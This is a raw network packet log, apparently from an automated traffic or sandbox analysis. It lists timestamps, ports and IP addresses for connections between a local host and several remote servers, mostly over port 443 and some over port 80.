Nov 28, 2024 00:19:27.703624010 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.703655005 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.703722954 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.703731060 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.703774929 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.709388018 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.709434032 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.709465027 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.709472895 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.709508896 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.709513903 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.709526062 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.709553957 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.710442066 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.710450888 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.779833078 CET	443	49753	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.779895067 CET	443	49753	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.779990911 CET	49753	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.780368090 CET	49753	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.780389071 CET	443	49753	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.780404091 CET	49753	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.780412912 CET	443	49753	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.782943010 CET	49763	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.782963991 CET	443	49763	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.783204079 CET	49763	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.783416033 CET	49763	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.783432007 CET	443	49763	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:28.569333076 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:28.569580078 CET	49766	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:28.694694042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:28.694706917 CET	80	49766	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:28.694783926 CET	49766	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:28.695012093 CET	49766	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:28.754709005 CET	443	49748	4.245.163.56	192.168.2.6
Nov 28, 2024 00:19:28.754733086 CET	443	49748	4.245.163.56	192.168.2.6
Nov 28, 2024 00:19:28.754739046 CET	443	49748	4.245.163.56	192.168.2.6
Nov 28, 2024 00:19:28.754771948 CET	443	49748	4.245.163.56	192.168.2.6
Nov 28, 2024 00:19:28.754787922 CET	443	49748	4.245.163.56	192.168.2.6
Nov 28, 2024 00:19:28.754796028 CET	443	49748	4.245.163.56	192.168.2.6
Nov 28, 2024 00:19:28.754812956 CET	49748	443	192.168.2.6	4.245.163.56
Nov 28, 2024 00:19:28.754822016 CET	443	49748	4.245.163.56	192.168.2.6
Nov 28, 2024 00:19:28.754930973 CET	49748	443	192.168.2.6	4.245.163.56
Nov 28, 2024 00:19:28.774569035 CET	443	49748	4.245.163.56	192.168.2.6
Nov 28, 2024 00:19:28.774633884 CET	443	49748	4.245.163.56	192.168.2.6
Nov 28, 2024 00:19:28.774648905 CET	49748	443	192.168.2.6	4.245.163.56
Nov 28, 2024 00:19:28.774674892 CET	49748	443	192.168.2.6	4.245.163.56
Nov 28, 2024 00:19:28.774933100 CET	49748	443	192.168.2.6	4.245.163.56
Nov 28, 2024 00:19:28.774933100 CET	49748	443	192.168.2.6	4.245.163.56
Nov 28, 2024 00:19:28.774947882 CET	443	49748	4.245.163.56	192.168.2.6
Nov 28, 2024 00:19:28.774956942 CET	443	49748	4.245.163.56	192.168.2.6
Nov 28, 2024 00:19:28.818820000 CET	80	49766	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:29.023050070 CET	443	49762	23.218.208.109	192.168.2.6
Nov 28, 2024 00:19:29.023116112 CET	49762	443	192.168.2.6	23.218.208.109
Nov 28, 2024 00:19:29.025155067 CET	49762	443	192.168.2.6	23.218.208.109
Nov 28, 2024 00:19:29.025161028 CET	443	49762	23.218.208.109	192.168.2.6
Nov 28, 2024 00:19:29.025424004 CET	443	49762	23.218.208.109	192.168.2.6
Nov 28, 2024 00:19:29.074083090 CET	49762	443	192.168.2.6	23.218.208.109
Nov 28, 2024 00:19:29.115335941 CET	443	49762	23.218.208.109	192.168.2.6
Nov 28, 2024 00:19:29.315773010 CET	443	49758	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:29.332468033 CET	49758	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:29.332496881 CET	443	49758	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:29.333101034 CET	49758	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:29.333106041 CET	443	49758	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:29.367225885 CET	443	49761	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:29.367683887 CET	49761	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:29.367710114 CET	443	49761	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:29.368191004 CET	49761	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:29.368196964 CET	443	49761	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:29.553129911 CET	443	49762	23.218.208.109	192.168.2.6
Nov 28, 2024 00:19:29.553200006 CET	443	49762	23.218.208.109	192.168.2.6
Nov 28, 2024 00:19:29.553447008 CET	49762	443	192.168.2.6	23.218.208.109
Nov 28, 2024 00:19:29.553534985 CET	49762	443	192.168.2.6	23.218.208.109
Nov 28, 2024 00:19:29.553551912 CET	443	49762	23.218.208.109	192.168.2.6
Nov 28, 2024 00:19:29.553564072 CET	49762	443	192.168.2.6	23.218.208.109
Nov 28, 2024 00:19:29.553569078 CET	443	49762	23.218.208.109	192.168.2.6
Nov 28, 2024 00:19:29.596302032 CET	49767	443	192.168.2.6	23.218.208.109
Nov 28, 2024 00:19:29.596321106 CET	443	49767	23.218.208.109	192.168.2.6
Nov 28, 2024 00:19:29.596451998 CET	49767	443	192.168.2.6	23.218.208.109
Nov 28, 2024 00:19:29.596744061 CET	49767	443	192.168.2.6	23.218.208.109
Nov 28, 2024 00:19:29.596755028 CET	443	49767	23.218.208.109	192.168.2.6
Nov 28, 2024 00:19:29.712166071 CET	443	49763	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:29.712615013 CET	49763	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:29.712625980 CET	443	49763	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:29.713310003 CET	49763	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:29.713315010 CET	443	49763	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:29.743714094 CET	443	49737	172.217.21.36	192.168.2.6
Nov 28, 2024 00:19:29.744700909 CET	49737	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:29.744723082 CET	443	49737	172.217.21.36	192.168.2.6
Nov 28, 2024 00:19:29.745726109 CET	443	49737	172.217.21.36	192.168.2.6
Nov 28, 2024 00:19:29.745794058 CET	49737	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:29.746241093 CET	49737	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:29.746299982 CET	443	49737	172.217.21.36	192.168.2.6
Nov 28, 2024 00:19:29.746408939 CET	49737	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:29.777215004 CET	443	49758	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:29.777276039 CET	443	49758	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:29.777513027 CET	49758	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:29.777612925 CET	49758	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:29.777632952 CET	443	49758	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:29.777643919 CET	49758	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:29.777650118 CET	443	49758	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:29.780596018 CET	49768	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:29.780607939 CET	443	49768	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:29.781394958 CET	49768	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:29.786164045 CET	49768	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:29.786175966 CET	443	49768	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:29.791335106 CET	443	49737	172.217.21.36	192.168.2.6
Nov 28, 2024 00:19:29.795111895 CET	49737	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:29.795123100 CET	443	49737	172.217.21.36	192.168.2.6
Nov 28, 2024 00:19:29.828794956 CET	443	49761	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:29.828857899 CET	443	49761	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:29.829113007 CET	49761	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:29.829163074 CET	49761	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:29.829180002 CET	443	49761	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:29.829193115 CET	49761	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:29.829197884 CET	443	49761	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:29.831739902 CET	49769	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:29.831768036 CET	443	49769	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:29.831957102 CET	49769	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:29.832096100 CET	49769	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:29.832113028 CET	443	49769	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:29.841866970 CET	49737	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:30.164096117 CET	443	49763	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:30.164175034 CET	443	49763	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:30.164484978 CET	49763	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:30.164688110 CET	49763	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:30.164696932 CET	443	49763	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:30.164705992 CET	49763	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:30.164709091 CET	443	49763	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:30.168931961 CET	49770	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:30.168945074 CET	443	49770	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:30.169025898 CET	49770	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:30.169200897 CET	49770	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:30.169214010 CET	443	49770	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:30.576004028 CET	80	49766	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:30.576071978 CET	49766	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:30.642472982 CET	49737	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:30.688321114 CET	49740	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:30.709749937 CET	49766	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:30.835063934 CET	80	49766	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:31.032279015 CET	443	49767	23.218.208.109	192.168.2.6
Nov 28, 2024 00:19:31.032363892 CET	49767	443	192.168.2.6	23.218.208.109
Nov 28, 2024 00:19:31.033921957 CET	49767	443	192.168.2.6	23.218.208.109
Nov 28, 2024 00:19:31.033934116 CET	443	49767	23.218.208.109	192.168.2.6
Nov 28, 2024 00:19:31.034161091 CET	443	49767	23.218.208.109	192.168.2.6
Nov 28, 2024 00:19:31.035316944 CET	49767	443	192.168.2.6	23.218.208.109
Nov 28, 2024 00:19:31.079334974 CET	443	49767	23.218.208.109	192.168.2.6
Nov 28, 2024 00:19:31.514650106 CET	443	49768	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:31.515156984 CET	49768	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:31.515181065 CET	443	49768	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:31.515712023 CET	49768	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:31.515718937 CET	443	49768	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:31.561562061 CET	443	49769	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:31.562047005 CET	49769	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:31.562067986 CET	443	49769	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:31.562509060 CET	49769	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:31.562516928 CET	443	49769	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:31.571003914 CET	443	49767	23.218.208.109	192.168.2.6
Nov 28, 2024 00:19:31.571070910 CET	443	49767	23.218.208.109	192.168.2.6
Nov 28, 2024 00:19:31.571259975 CET	49767	443	192.168.2.6	23.218.208.109
Nov 28, 2024 00:19:31.572298050 CET	49767	443	192.168.2.6	23.218.208.109
Nov 28, 2024 00:19:31.572314024 CET	443	49767	23.218.208.109	192.168.2.6
Nov 28, 2024 00:19:31.572324038 CET	49767	443	192.168.2.6	23.218.208.109
Nov 28, 2024 00:19:31.572329044 CET	443	49767	23.218.208.109	192.168.2.6
Nov 28, 2024 00:19:31.665910006 CET	80	49766	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:31.665983915 CET	49766	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:32.079682112 CET	443	49768	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:32.079792976 CET	443	49768	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:32.079899073 CET	49768	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:32.080298901 CET	49768	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:32.080316067 CET	443	49768	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:32.080326080 CET	49768	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:32.080331087 CET	443	49768	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:32.086559057 CET	49771	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:32.086596012 CET	443	49771	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:32.086664915 CET	49771	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:32.094115973 CET	49771	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:32.094130993 CET	443	49771	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:32.330353975 CET	443	49769	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:32.330424070 CET	443	49769	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:32.330598116 CET	49769	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:32.332108021 CET	49769	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:32.332118034 CET	443	49769	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:32.332146883 CET	49769	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:32.332151890 CET	443	49769	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:32.332469940 CET	443	49770	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:32.368204117 CET	49770	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:32.368226051 CET	443	49770	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:32.368850946 CET	49770	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:32.368860006 CET	443	49770	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:32.396512032 CET	49772	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:32.396564007 CET	443	49772	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:32.396681070 CET	49772	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:32.428102016 CET	49772	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:32.428126097 CET	443	49772	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:32.643510103 CET	443	49757	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:32.655761957 CET	49757	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:32.655777931 CET	443	49757	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:32.656281948 CET	49757	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:32.656286955 CET	443	49757	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:32.797925949 CET	443	49770	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:32.797985077 CET	443	49770	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:32.798127890 CET	49770	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:32.802580118 CET	49770	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:32.802592993 CET	443	49770	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:32.802628040 CET	49770	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:32.802634954 CET	443	49770	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:32.805793047 CET	49773	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:32.805816889 CET	443	49773	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:32.805881977 CET	49773	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:32.806020021 CET	49773	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:32.806031942 CET	443	49773	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:33.125891924 CET	443	49757	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:33.125951052 CET	443	49757	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:33.125993967 CET	49757	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:33.147308111 CET	49757	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:33.147326946 CET	443	49757	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:33.147336960 CET	49757	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:33.147341967 CET	443	49757	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:33.293203115 CET	49774	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:33.293262959 CET	443	49774	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:33.293345928 CET	49774	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:33.371253014 CET	49774	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:33.371265888 CET	443	49774	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:34.042407036 CET	443	49771	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:34.093031883 CET	49771	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:34.104216099 CET	49771	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:34.104227066 CET	443	49771	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:34.104933977 CET	49771	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:34.104938984 CET	443	49771	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:34.196434021 CET	443	49772	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:34.250761986 CET	49772	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:34.261096001 CET	49772	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:34.261106014 CET	443	49772	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:34.261683941 CET	49772	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:34.261691093 CET	443	49772	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:34.493906975 CET	443	49771	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:34.493974924 CET	443	49771	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:34.494138956 CET	49771	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:34.497643948 CET	49706	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:34.497895002 CET	49706	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:34.498408079 CET	49771	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:34.498423100 CET	443	49771	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:34.498434067 CET	49771	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:34.498439074 CET	443	49771	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:34.526036978 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:34.526061058 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:34.526129961 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:34.528448105 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:34.528465033 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:34.600739002 CET	443	49773	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:34.618843079 CET	49773	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:34.618858099 CET	443	49773	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:34.619400024 CET	49773	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:34.619405031 CET	443	49773	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:34.621429920 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:34.621694088 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:34.621706009 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:34.621731043 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:34.621975899 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:34.639324903 CET	443	49772	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:34.639374018 CET	443	49772	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:34.639434099 CET	49772	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:34.644681931 CET	49772	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:34.644701958 CET	443	49772	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:34.644714117 CET	49772	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:34.644718885 CET	443	49772	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:34.713315010 CET	49783	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:34.713351965 CET	443	49783	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:34.713450909 CET	49783	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:34.713850021 CET	49784	443	192.168.2.6	94.245.104.56
Nov 28, 2024 00:19:34.713869095 CET	443	49784	94.245.104.56	192.168.2.6
Nov 28, 2024 00:19:34.713943958 CET	49784	443	192.168.2.6	94.245.104.56
Nov 28, 2024 00:19:34.720520973 CET	49783	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:34.720535994 CET	443	49783	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:34.720913887 CET	49784	443	192.168.2.6	94.245.104.56
Nov 28, 2024 00:19:34.720927954 CET	443	49784	94.245.104.56	192.168.2.6
Nov 28, 2024 00:19:35.053329945 CET	443	49773	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:35.053414106 CET	443	49773	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:35.053469896 CET	49773	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:35.059273958 CET	49773	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:35.059288025 CET	443	49773	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:35.059305906 CET	49773	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:35.059310913 CET	443	49773	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:35.062413931 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:35.062467098 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:35.062572956 CET	49706	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:35.066843033 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:35.066943884 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:35.067194939 CET	49706	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:35.075643063 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:35.078845024 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:35.078866959 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:35.078973055 CET	49706	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:35.087846994 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:35.087955952 CET	49706	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:35.087975025 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:35.096579075 CET	443	49706	20.190.177.19	192.168.2.6
Nov 28, 2024 00:19:35.096963882 CET	49706	443	192.168.2.6	20.190.177.19
Nov 28, 2024 00:19:35.099473953 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:35.099508047 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:35.099684000 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:35.100938082 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:35.100950956 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:35.166654110 CET	443	49774	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:35.206192970 CET	49774	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:35.206212044 CET	443	49774	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:35.206918955 CET	49774	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:35.206923962 CET	443	49774	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:35.618626118 CET	443	49774	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:35.618678093 CET	443	49774	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:35.618738890 CET	49774	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:35.624974966 CET	49774	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:35.624996901 CET	443	49774	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:35.625008106 CET	49774	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:35.625014067 CET	443	49774	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:35.644778013 CET	49787	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:35.644812107 CET	443	49787	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:35.644881010 CET	49787	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:35.661550999 CET	49787	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:35.661566973 CET	443	49787	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:36.384833097 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:36.424729109 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:36.427983999 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:36.427993059 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:36.428513050 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:36.428520918 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:36.532546997 CET	443	49784	94.245.104.56	192.168.2.6
Nov 28, 2024 00:19:36.535897017 CET	49784	443	192.168.2.6	94.245.104.56
Nov 28, 2024 00:19:36.535921097 CET	443	49784	94.245.104.56	192.168.2.6
Nov 28, 2024 00:19:36.537163973 CET	443	49784	94.245.104.56	192.168.2.6
Nov 28, 2024 00:19:36.537233114 CET	49784	443	192.168.2.6	94.245.104.56
Nov 28, 2024 00:19:36.540757895 CET	49784	443	192.168.2.6	94.245.104.56
Nov 28, 2024 00:19:36.540842056 CET	443	49784	94.245.104.56	192.168.2.6
Nov 28, 2024 00:19:36.542082071 CET	49784	443	192.168.2.6	94.245.104.56
Nov 28, 2024 00:19:36.542089939 CET	443	49784	94.245.104.56	192.168.2.6
Nov 28, 2024 00:19:36.577663898 CET	443	49783	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:36.616796017 CET	49784	443	192.168.2.6	94.245.104.56
Nov 28, 2024 00:19:36.666177988 CET	49783	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:36.666202068 CET	443	49783	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:36.666810989 CET	49783	443	192.168.2.6	13.107.246.63
